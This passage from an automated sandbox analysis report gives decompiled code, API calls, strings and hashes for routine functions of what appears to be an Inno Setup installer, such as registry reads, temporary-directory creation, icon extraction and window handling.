				asm("lock mov eax, [ebp+0x8]");
				if((GetWindowLongA(_t23, ??) & 0x40000000) != 0 && GetWindowLongA(_a4, 0xfffffff4) == 0) {
					SetWindowLongA(_a4, 0xfffffff4, _a4);
				}
				_t25 =  *0x48c2dc; // 0x0
				SetPropA(_a4, ??, ??);
				_t29 =  *0x48c2dc; // 0x0
				SetPropA(_a4,  *0x48d5c6 & 0x0000ffff, _t29);
				_t33 =  *0x48c2dc; // 0x0
				 *0x48c2dc = 0; // executed
				_v8 =  *((intOrPtr*)(_t33 + 0xa8))(_a4, _a8, _a12, _a16,  *0x48d5c8 & 0x0000ffff, _t25);
				return  *_t41;
			}

0x00413709
0x0041370c
0x00413714
0x0041371a
0x0041372c
0x00413731
0x00413732
0x00413741
0x0041375c
0x0041375c
0x00413761
0x00413773
0x00413778
0x0041378a
0x0041379b
0x004137a1
0x004137b1
0x004137b9

APIs

SetWindowLongA.USER32 ref: 0041372C
GetWindowLongA.USER32 ref: 00413737
GetWindowLongA.USER32 ref: 00413749
SetWindowLongA.USER32 ref: 0041375C
SetPropA.USER32(?,00000000,00000000), ref: 00413773
SetPropA.USER32(?,00000000,00000000), ref: 0041378A

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: LongWindow$Prop
String ID:
API String ID: 3887896539-0
Opcode ID: c6d8841ac761625ea1a08a171b6c7f9a9a5b30f625edd39c9678ca1475cce204
Instruction ID: 17f789917bd6404cc509f75547e6dc433186a7dca0d07f336397386fd0c13113
Opcode Fuzzy Hash: c6d8841ac761625ea1a08a171b6c7f9a9a5b30f625edd39c9678ca1475cce204
Instruction Fuzzy Hash: 2611CEB5601148BFDB00EF99DC84E9A3BE9AB08354F10866AFE18DB2E1D735D9508B64

Uniqueness

Uniqueness Score: -1.00%

Function 00453E7C Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 141
registryCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E00453E7C(intOrPtr __eax, void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v8;
				void* _v12;
				char _v16;
				char _v20;
				intOrPtr _v24;
				char _v112;
				char _v4208;
				char _v4212;
				char _v4216;
				void* _t40;
				void* _t49;
				void* _t61;
				void* _t69;
				void* _t79;
				void* _t85;
				void* _t103;
				void* _t104;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t117;
				void* _t127;
				void* _t128;
				intOrPtr _t130;

				_t127 = _t128;
				_push(__eax);
				_t130 = _t128 + 0xffffffffffffef90;
				_v4212 = 0;
				_v4216 = 0;
				_v16 = 0;
				_v20 = 0;
				_v8 = __eax;
				_push(_t127);
				_push(0x454053);
				_push( *[fs:eax]);
				 *[fs:eax] = _t130;
				_t40 = E00430148( &_v112);
				_push(_t127);
				_push(0x454013);
				_push( *[fs:edx]);
				 *[fs:edx] = _t130;
				if(E0042DAA4(_t40) == 0) {
					E0042D7E0( &_v4216);
					E0042C4C4(_v4216,  &_v4212);
					E00403708( &_v20, "WININIT.INI", _v4212);
					_t49 = E0042CD40(__eflags);
					__eflags = _t49;
					if(_t49 == 0) {
						goto L12;
					} else {
						_v24 = E0044FDE4(1, 1, 0, 2);
						__eflags = 0;
						_push(_t127);
						_push(0x454002);
						_push( *[fs:edx]);
						 *[fs:edx] = _t130;
						while(1) {
							_t61 = E00450010(_v24, 0x1000,  &_v4208);
							__eflags = _t61;
							if(_t61 == 0) {
								break;
							}
							E00430170( &_v112, _t61,  &_v4208);
						}
						__eflags = 0;
						_pop(_t117);
						 *[fs:eax] = _t117;
						_push(0x454009);
						return E00402CA0(_v24);
					}
				} else {
					_t69 = E0042DCB4(0, "SYSTEM\\CurrentControlSet\\Control\\Session Manager", 0x80000002,  &_v12, 1, 0); // executed
					if(_t69 == 0) {
						if(E0042DBF0() != 0) {
							_push(E004036BC(_v16));
							_t85 = E0040388C( &_v16);
							_pop(_t104);
							E00430170( &_v112, _t104, _t85);
						}
						if(E0042DBF0() != 0) {
							_push(E004036BC(_v16));
							_t79 = E0040388C( &_v16);
							_pop(_t103);
							E00430170( &_v112, _t103, _t79);
						}
						RegCloseKey(_v12);
					}
					L12:
					_pop(_t109);
					 *[fs:eax] = _t109;
					E00430220( &_v112, _v8);
					_pop(_t111);
					 *[fs:eax] = _t111;
					_push(0x45405a);
					E00403568( &_v4216, 2);
					return E00403568( &_v20, 2);
				}
			}

0x00453e7d
0x00453e85
0x00453e86
0x00453e8e
0x00453e94
0x00453e9a
0x00453e9d
0x00453ea0
0x00453ea5
0x00453ea6
0x00453eab
0x00453eae
0x00453eb4
0x00453ebb
0x00453ebc
0x00453ec1
0x00453ec4
0x00453ece
0x00453f69
0x00453f7a
0x00453f8d
0x00453f95
0x00453f9a
0x00453f9c
0x00000000
0x00453f9e
0x00453fb3
0x00453fb6
0x00453fb8
0x00453fb9
0x00453fbe
0x00453fc1
0x00453fc4
0x00453fd2
0x00453fd7
0x00453fd9
0x00000000
0x00000000
0x00453fe5
0x00453fe5
0x00453fec
0x00453fee
0x00453ff1
0x00453ff4
0x00454001
0x00454001
0x00453ed4
0x00453ee8
0x00453eef
0x00453f07
0x00453f11
0x00453f15
0x00453f1f
0x00453f20
0x00453f20
0x00453f37
0x00453f41
0x00453f45
0x00453f4f
0x00453f50
0x00453f50
0x00453f59
0x00453f59
0x00454009
0x0045400b
0x0045400e
0x00454023
0x0045402a
0x0045402d
0x00454030
0x00454040
0x00454052
0x00454052

APIs

Part of subcall function 0042DCB4: 6C8D6790.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004783BF,?,00000001,?,?,004783BF,?,00000001,00000000), ref: 0042DCD0

RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,00454013,?,00000000,00454053), ref: 00453F59

Strings

PendingFileRenameOperations2, xrefs: 00453F28
WININIT.INI, xrefs: 00453F88
SYSTEM\CurrentControlSet\Control\Session Manager, xrefs: 00453EDC
PendingFileRenameOperations, xrefs: 00453EF8

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CloseD6790
String ID: PendingFileRenameOperations$PendingFileRenameOperations2$SYSTEM\CurrentControlSet\Control\Session Manager$WININIT.INI
API String ID: 3513276378-2199428270
Opcode ID: 1445041b127030f601f5f475d0f81f462f3f7857b8dd74538295b2e9aeb85ebb
Instruction ID: 7ba13c9c2ff66a0e977248546e57251473cb921e98e5fc860cbc8d5f373c0d82
Opcode Fuzzy Hash: 1445041b127030f601f5f475d0f81f462f3f7857b8dd74538295b2e9aeb85ebb
Instruction Fuzzy Hash: 1F51F930E002089BDB10EF61DC51ADEB7B9EF84708F60817BF904A72D2DB799E45CA18

Uniqueness

Uniqueness Score: -1.00%

Function 004610DC Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 115
windowCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E004610DC(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				char _v8;
				char _v348;
				int _v356;
				struct _SHFILEINFO _v360;
				int _t54;
				int _t65;
				void* _t68;
				void* _t69;
				void* _t76;
				void* _t77;
				intOrPtr _t92;
				intOrPtr _t93;
				void* _t104;
				void* _t105;
				intOrPtr _t106;

				_t102 = __esi;
				_t101 = __edi;
				_t104 = _t105;
				_t106 = _t105 + 0xfffffe9c;
				_push(__esi);
				_push(__edi);
				_v8 = 0;
				_push(_t104);
				_push(0x461261);
				_push( *[fs:eax]);
				 *[fs:eax] = _t106;
				E004146E4( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x2dc)), 0x20);
				E00414704( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x2dc)), 0x20);
				E004146E4( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x2e0)), 0x20);
				E00414704( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x2e0)), 0x20);
				_push(_t104);
				_push(0x461241);
				_push( *[fs:eax]);
				 *[fs:eax] = _t106;
				_t54 = SHGetFileInfo("c:\\directory", 0x10,  &_v360, 0x160, 0x1010); // executed
				if(_t54 != 0) {
					_t109 = _v348;
					if(_v348 != 0) {
						_t76 =  *0x48d014; // 0x400000
						_t77 = ExtractIconA(_t76,  &_v348, _v356); // executed
						E0046101C(_t77,  *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x2dc)), __edi);
					}
				}
				E00472818(0, 2, _t101, _t102, _t109,  &_v8); // executed
				if(_v8 == 0) {
					E00472818(1, 2, _t101, _t102, 0,  &_v8);
				}
				if(_v8 != 0) {
					_t65 = SHGetFileInfo(E00403880(_v8), 0,  &_v360, 0x160, 0x1000); // executed
					if(_t65 != 0 && _v348 != 0) {
						_t68 =  *0x48d014; // 0x400000
						_t69 = ExtractIconA(_t68,  &_v348, _v356); // executed
						E0046101C(_t69,  *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x2e0)), _t101);
					}
				}
				_pop(_t92);
				 *[fs:eax] = _t92;
				_pop(_t93);
				 *[fs:eax] = _t93;
				_push(E00461268);
				return E00403548( &_v8);
			}

0x004610dc
0x004610dc
0x004610dd
0x004610df
0x004610e6
0x004610e7
0x004610ea
0x004610ef
0x004610f0
0x004610f5
0x004610f8
0x0046110c
0x00461122
0x00461138
0x0046114e
0x00461155
0x00461156
0x0046115b
0x0046115e
0x00461179
0x00461180
0x00461182
0x00461189
0x00461199
0x0046119f
0x004611b0
0x004611b0
0x00461189
0x004611bf
0x004611c8
0x004611d4
0x004611d4
0x004611dd
0x004611fb
0x00461202
0x0046121b
0x00461221
0x00461232
0x00461232
0x00461202
0x00461239
0x0046123c
0x0046124d
0x00461250
0x00461253
0x00461260

APIs

SHGetFileInfo.SHELL32([rG,00000010,?,00000160,00001010), ref: 00461179
ExtractIconA.SHELL32(00400000,00000000,?), ref: 0046119F

Part of subcall function 0046101C: DrawIconEx.USER32 ref: 004610B4
Part of subcall function 0046101C: DestroyCursor.USER32(00000000), ref: 004610CA

SHGetFileInfo.SHELL32(00000000,00000000,?,00000160,00001000), ref: 004611FB
ExtractIconA.SHELL32(00400000,00000000,?), ref: 00461221

Strings

[rG, xrefs: 004610E7, 00461174

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Icon$ExtractFileInfo$CursorDestroyDraw
String ID: [rG
API String ID: 2926980410-1780078340
Opcode ID: 1f42779bc9d7f459df7c4a952db4a5d2d9c1b39d754ee803a783439597452981
Instruction ID: 43efc87ec513c33b4470f0c42580a1d3a797498daa76b4594f75f2d001bc2c3a
Opcode Fuzzy Hash: 1f42779bc9d7f459df7c4a952db4a5d2d9c1b39d754ee803a783439597452981
Instruction Fuzzy Hash: 27416D74600248AFDB10DF65CD9AFDEB7E8EB49304F1481A6F904E7391D678AE80CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0047225C Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0047225C(long __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				intOrPtr _t43;
				int _t49;
				intOrPtr _t78;
				void* _t81;
				intOrPtr _t92;
				intOrPtr _t95;
				intOrPtr _t108;
				intOrPtr _t109;

				_t106 = __esi;
				_t105 = __edi;
				_t80 = __ebx;
				_t108 = _t109;
				_t81 = 5;
				do {
					_push(0);
					_push(0);
					_t81 = _t81 - 1;
				} while (_t81 != 0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_push(_t108);
				_push(0x4723b2);
				_push( *[fs:eax]);
				 *[fs:eax] = _t109;
				E00452404( &_v20, __ebx, __edx, __edi, __esi); // executed
				E00403598(0x4ae018, _t80, _v20, _t105, _t106);
				E004035DC( &_v20, "Created temporary directory: ");
				_t92 =  *0x4ae018; // 0x218800c
				E004036C4( &_v20, _t92);
				E00455B64(_v20, _t80, _t105, _t106);
				if( *0x48deec != 0) {
					_t78 =  *0x4ae018; // 0x218800c
					E00455488(_t78);
				}
				_t43 =  *0x4ae018; // 0x218800c
				E0042C4C4(_t43,  &_v20);
				E00403708( &_v8, "_isetup", _v20);
				_t49 = CreateDirectoryA(E00403880(_v8), 0); // executed
				if(_t49 == 0) {
					_t80 = GetLastError();
					E00450B18(0x2f,  &_v36, _v8);
					_v32 = _v36;
					E00406DFC(_t63,  &_v40);
					_v28 = _v40;
					E0042E6D0(_t80,  &_v44);
					_v24 = _v44;
					E00450AE8(0x60, 2,  &_v32,  &_v20);
					E00408CA0(_v20, 1);
					E00403264();
				}
				E00455DFC( &_v12);
				_t113 = _v12;
				if(_v12 != 0) {
					E00403708( &_v16, "\\_setup64.tmp", _v8);
					E00472204(_v12, _t80, _v16, _t105, _t106, _t113); // executed
					E00455E68(_v16);
				}
				_pop(_t95);
				 *[fs:eax] = _t95;
				_push(E004723B9);
				E00403568( &_v44, 3);
				return E00403568( &_v20, 4);
			}

0x0047225c
0x0047225c
0x0047225c
0x0047225d
0x0047225f
0x00472264
0x00472264
0x00472266
0x00472268
0x00472268
0x0047226b
0x0047226c
0x0047226d
0x00472270
0x00472271
0x00472276
0x00472279
0x0047227f
0x0047228c
0x00472299
0x004722a1
0x004722a7
0x004722af
0x004722bb
0x004722bd
0x004722c2
0x004722c2
0x004722ca
0x004722cf
0x004722df
0x004722ef
0x004722f6
0x004722fd
0x0047230b
0x00472313
0x0047231b
0x00472323
0x0047232b
0x00472333
0x00472340
0x0047234f
0x00472354
0x00472354
0x0047235c
0x00472361
0x00472365
0x00472372
0x0047237d
0x00472385
0x00472385
0x0047238c
0x0047238f
0x00472392
0x0047239f
0x004723b1

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,00000000,004723B2,?,?,?,?,00000000,00000000,?,0048A000,00000005,?,00000000,00489F25), ref: 004722EF
GetLastError.KERNEL32(00000000,00000000,00000000,004723B2,?,?,?,?,00000000,00000000,?,0048A000,00000005,?,00000000,00489F25), ref: 004722F8

Strings

\_setup64.tmp, xrefs: 0047236A
Created temporary directory: , xrefs: 00472291
_isetup, xrefs: 004722DA

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: Created temporary directory: $\_setup64.tmp$_isetup
API String ID: 1375471231-2952887711
Opcode ID: d4e5f0a15b5712561890722fd7a3cf30839d0f46d90f646290125f0554c3378f
Instruction ID: 6b17bfcab048c2f4aa4ef564a62664cf3a994c609fd9f7540fc313dadf2ad4ec
Opcode Fuzzy Hash: d4e5f0a15b5712561890722fd7a3cf30839d0f46d90f646290125f0554c3378f
Instruction Fuzzy Hash: 79414674A002199BDB10EFA5C981ADEB7B5EF44304F50847BE810B7392D67CAE45CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00423B4C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00423B4C(void* __eax, void* __ecx) {
				struct HWND__* _v16;
				int _t17;
				void* _t28;
				void* _t33;
				long _t34;

				_t28 = __eax;
				_t17 =  *0x48d628; // 0x2162410
				if( *((intOrPtr*)(_t17 + 0x20)) != 0) {
					if( *((intOrPtr*)(__eax + 0x74)) == 0) {
						 *_t34 =  *((intOrPtr*)(__eax + 0x20));
						EnumWindows(E00423AE4, _t34); // executed
						_t17 =  *(_t28 + 0x70);
						if( *((intOrPtr*)(_t17 + 8)) != 0) {
							_v16 = GetWindow(_v16, 3);
							if((GetWindowLongA(_v16, 0xffffffec) & 0x00000008) != 0) {
								_v16 = 0xfffffffe;
							}
							_t17 =  *(_t28 + 0x70);
							_t33 =  *((intOrPtr*)(_t17 + 8)) - 1;
							if(_t33 >= 0) {
								do {
									_t12 =  &_v16; // 0x424224
									_t17 = SetWindowPos(E0040B504( *(_t28 + 0x70), _t33),  *_t12, 0, 0, 0, 0, 0x13);
									_t33 = _t33 - 1;
								} while (_t33 != 0xffffffff);
							}
						}
					}
					 *((intOrPtr*)(_t28 + 0x74)) =  *((intOrPtr*)(_t28 + 0x74)) + 1;
				}
				return _t17;
			}

0x00423b4f
0x00423b51
0x00423b5a
0x00423b60
0x00423b65
0x00423b70
0x00423b75
0x00423b7c
0x00423b8a
0x00423b9b
0x00423b9d
0x00423b9d
0x00423ba4
0x00423baa
0x00423bae
0x00423bb0
0x00423bba
0x00423bca
0x00423bcf
0x00423bd0
0x00423bb0
0x00423bae
0x00423b7c
0x00423bd5
0x00423bd5
0x00423bdb

APIs

EnumWindows.USER32(00423AE4), ref: 00423B70
GetWindow.USER32(?,00000003), ref: 00423B85
GetWindowLongA.USER32 ref: 00423B94
SetWindowPos.USER32(00000000,$BB,00000000,00000000,00000000,00000000,00000013,?,000000EC,?,?,?,00424273,?,?,00423E3B), ref: 00423BCA

Strings

$BB, xrefs: 00423BBA, 00423BBE

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Window$EnumLongWindows
String ID: $BB
API String ID: 4191631535-2593667605
Opcode ID: d6e0cba7910d819887bb3b6b5c2b8e697feec83489dcab8192dc57f6bf28c793
Instruction ID: ebb4f15abd13bc88932ccb723061018f00c5171692ad1176cd7ff3742fecbb00
Opcode Fuzzy Hash: d6e0cba7910d819887bb3b6b5c2b8e697feec83489dcab8192dc57f6bf28c793
Instruction Fuzzy Hash: ED111870744624ABDA10AF28D885F5677E8AB08725F11066AF954EB2E2C378AD41CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0042DCDC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 32
registryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0042DCDC(void* __eax, char* __ecx, void* __edx) {
				struct HINSTANCE__* _t4;
				long _t5;

				_t9 = __ecx;
				_t6 = __edx;
				if(__eax == 2) {
					if( *0x48d65c == 0) {
						_push("RegDeleteKeyExA");
						_t4 = GetModuleHandleA("advapi32.dll");
						_push(_t4);
						L00405A9C();
						 *0x48d65c = _t4;
					}
					if( *0x48d65c == 0) {
						return 0x7f;
					} else {
						return  *0x48d65c(_t6, _t9, 0x100, 0);
					}
				}
				_t5 = RegDeleteKeyA(__edx, __ecx); // executed
				return _t5;
			}

0x0042dcde
0x0042dce0
0x0042dce4
0x0042dcf7
0x0042dcf9
0x0042dd03
0x0042dd08
0x0042dd09
0x0042dd0e
0x0042dd0e
0x0042dd1a
0x00000000
0x0042dd1c
0x00000000
0x0042dd25
0x0042dd1a
0x0042dce8
0x0042dcef

APIs

RegDeleteKeyA.ADVAPI32(?,?), ref: 0042DCE8
GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,?,00000000,0042DE6B,00000000,0042DE83,?,?,?,?), ref: 0042DD03
6C8D5550.KERNEL32(00000000,advapi32.dll,RegDeleteKeyExA,?,00000000,0042DE6B,00000000,0042DE83,?,?,?,?), ref: 0042DD09

Strings

advapi32.dll, xrefs: 0042DCFE
RegDeleteKeyExA, xrefs: 0042DCF9

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: D5550DeleteHandleModule
String ID: RegDeleteKeyExA$advapi32.dll
API String ID: 470921693-1846899949
Opcode ID: fba564e9f5f9f210018b68d7ed56646b15d5308277a25301db98864e6a1c2157
Instruction ID: 62ebb0c2f71abb8bc92ace695c7d2b4d00ef98af284bd370ad9ae17fcec81740
Opcode Fuzzy Hash: fba564e9f5f9f210018b68d7ed56646b15d5308277a25301db98864e6a1c2157
Instruction Fuzzy Hash: DEE02BB0F826346AD22037697C4AF9B2718CB14321F50493BB005751D2D6BC0880CF6C

Uniqueness

Uniqueness Score: -1.00%

Function 00476940 Relevance: 7.6, APIs: 5, Instructions: 102
windowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00476940(void* __ebx, void* __ecx, char __edx, void* __edi, intOrPtr __esi) {
				char _v5;
				char _v12;
				intOrPtr* _t17;
				intOrPtr _t23;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t37;
				intOrPtr* _t57;
				void* _t58;
				char _t63;
				intOrPtr _t65;
				intOrPtr _t67;
				struct HMENU__* _t75;
				void* _t77;
				void* _t78;
				intOrPtr _t79;

				_t74 = __esi;
				_t73 = __edi;
				_t63 = __edx;
				_t58 = __ecx;
				_t77 = _t78;
				_t79 = _t78 + 0xfffffff8;
				_push(__esi);
				_push(__edi);
				_v12 = 0;
				_t80 = __edx;
				if(__edx != 0) {
					_t79 = _t79 + 0xfffffff0;
					_t17 = E00402E78(_t17, _t77);
				}
				_v5 = _t63;
				_t57 = _t17;
				_push(_t77);
				_push(0x476a77);
				_push( *[fs:eax]);
				 *[fs:eax] = _t79;
				E00420274(_t58, 0); // executed
				E00488670(_t57, _t80);
				if(( *0x4ae17d & 0x00000001) == 0) {
					_t23 =  *0x48d628; // 0x2162410
					 *((char*)(_t23 + 0x3a)) = 0;
				} else {
					if(( *0x4ae17d & 0x00000002) != 0) {
						__eflags =  *0x4ae17d & 0x00000004;
						if(( *0x4ae17d & 0x00000004) == 0) {
							E0042108C(_t57, 1);
						}
					} else {
						E0042108C(_t57, 0);
					}
					_t74 =  *_t57;
					 *((intOrPtr*)( *_t57 + 0x4c))(GetSystemMetrics(1), GetSystemMetrics(0));
					E00418284(_t57);
					if(( *0x4ae17d & 0x00000008) != 0) {
						E0042161C(_t57, 2);
					}
				}
				_t65 =  *0x4ae270; // 0x2174a30
				E00450B18(0x99,  &_v12, _t65);
				E00414BE0(_t57, _t57, _v12, _t73, _t74);
				_t75 = GetSystemMenu(E004182A8(_t57), 0);
				AppendMenuA(_t75, 0x800, 0, 0);
				_t32 =  *0x48db70; // 0x2178120
				AppendMenuA(_t75, 0, 0x270f, E00403880(_t32));
				_t35 =  *0x48d628; // 0x2162410
				E0042459C(_t35, _t73, _t75, 0x4781b4, _t57);
				_t37 =  *0x48d628; // 0x2162410
				if( *((char*)(_t37 + 0x3a)) != 0) {
					E00420C88(_t57, 1);
				}
				_pop(_t67);
				 *[fs:eax] = _t67;
				_push(0x476a7e);
				return E00403548( &_v12);
			}

0x00476940
0x00476940
0x00476940
0x00476940
0x00476941
0x00476943
0x00476947
0x00476948
0x0047694b
0x0047694e
0x00476950
0x00476952
0x00476955
0x00476955
0x0047695a
0x0047695d
0x00476961
0x00476962
0x00476967
0x0047696a
0x00476971
0x00476978
0x00476984
0x004769e2
0x004769e7
0x00476986
0x0047698d
0x0047699a
0x004769a1
0x004769a7
0x004769a7
0x0047698f
0x00476993
0x00476993
0x004769c2
0x004769c4
0x004769c9
0x004769d5
0x004769db
0x004769db
0x004769d5
0x004769ee
0x004769f6
0x00476a00
0x00476a14
0x00476a20
0x00476a25
0x00476a38
0x00476a43
0x00476a48
0x00476a4d
0x00476a56
0x00476a5c
0x00476a5c
0x00476a63
0x00476a66
0x00476a69
0x00476a76

APIs

GetSystemMetrics.USER32 ref: 004769AE
GetSystemMetrics.USER32 ref: 004769B6
GetSystemMenu.USER32(00000000,00000000,00000000,00476A77), ref: 00476A0F
AppendMenuA.USER32 ref: 00476A20
AppendMenuA.USER32 ref: 00476A38

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: MenuSystem$AppendMetrics
String ID:
API String ID: 4092608398-0
Opcode ID: 0a58bcd2f7566254b3e1c0a11509b3060d16c145df205e1e68c56360b64492b4
Instruction ID: 95fc3f10e04f950199989cf52bad7493749d61a9b456fc21dcab856dcf260ed5
Opcode Fuzzy Hash: 0a58bcd2f7566254b3e1c0a11509b3060d16c145df205e1e68c56360b64492b4
Instruction Fuzzy Hash: 0C3125B17047146BD710EF368C82B9A3B969B02318F41847EF944AB3E3CA7D9C08875D

Uniqueness

Uniqueness Score: -1.00%

Function 0045392B Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E0045392B() {
				intOrPtr _t36;
				void* _t38;

				CloseHandle( *(_t38 - 0x60));
				if( *((char*)(_t38 + 0x14)) != 0) {
					WaitForInputIdle( *(_t38 - 0x64), 0xffffffff);
				}
				if( *((char*)(_t38 + 0x18)) != 0) {
					do {
						if( *((intOrPtr*)(_t38 + 0xc)) != 0) {
							 *((intOrPtr*)(_t38 + 0xc))();
						}
					} while (MsgWaitForMultipleObjects(1, _t38 - 0x64, 0, 0xffffffff, 0xff) == 1);
				}
				GetExitCodeProcess( *(_t38 - 0x64),  *(_t38 + 8)); // executed
				CloseHandle( *(_t38 - 0x64));
				_pop(_t36);
				 *[fs:eax] = _t36;
				_push(E004539B3);
				E00403568(_t38 - 0x6c, 2);
				E00403548(_t38 - 8);
				return E00403548(_t38 + 0x1c);
			}

0x0045392f
0x00453938
0x00453940
0x00453940
0x00453949
0x0045394b
0x0045394f
0x00453951
0x00453951
0x00453968
0x0045394b
0x00453973
0x0045397c
0x00453983
0x00453986
0x00453989
0x00453996
0x0045399e
0x004539ab

APIs

CloseHandle.KERNEL32(?), ref: 0045392F
WaitForInputIdle.USER32 ref: 00453940
MsgWaitForMultipleObjects.USER32 ref: 00453963
GetExitCodeProcess.KERNEL32 ref: 00453973
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 0045397C

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

